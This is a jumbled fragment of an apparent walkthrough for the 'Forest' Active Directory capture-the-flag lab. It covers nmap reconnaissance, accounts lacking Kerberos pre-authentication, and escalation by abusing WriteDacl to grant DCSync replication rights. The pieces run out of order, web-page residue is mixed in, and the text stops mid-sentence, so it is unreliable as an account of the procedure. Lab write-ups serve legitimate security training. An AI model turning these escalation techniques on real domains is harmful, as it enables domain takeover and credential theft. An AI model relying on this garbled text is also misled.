The group possesses WriteDacl rights over the domain object. This specific permission allows you to grant yourself replication privileges. Granting DCSync Permissions

You now hold ultimate NT AUTHORITY\SYSTEM equivalence. Retrieve the final root flag located at C:\Users\Administrator\Desktop\root.txt . Share public link exploit weak Kerberos configurations
Once you have a list of usernames, you look for accounts that do not require Kerberos pre-authentication.

Forest is designed to mimic a misconfigured Active Directory environment. It requires the attacker to discover users, exploit weak Kerberos configurations, and ultimately escalate to Domain Admin using techniques like DCSync. 2. Reconnaissance & Enumeration Our first step is to map the attack surface using nmap . nmap -sC -sV -oA nmap_forest 10.10.10.161 Use code with caution. Key Findings: Active Directory relies heavily on DNS. Port 88 (Kerberos): Essential for authentication. Port 389 (LDAP): Active Directory lookup. Port 445 (SMB): File sharing. Port 5985 (WinRM): Windows Remote Management. The presence of LDAP ( ) and Kerberos (
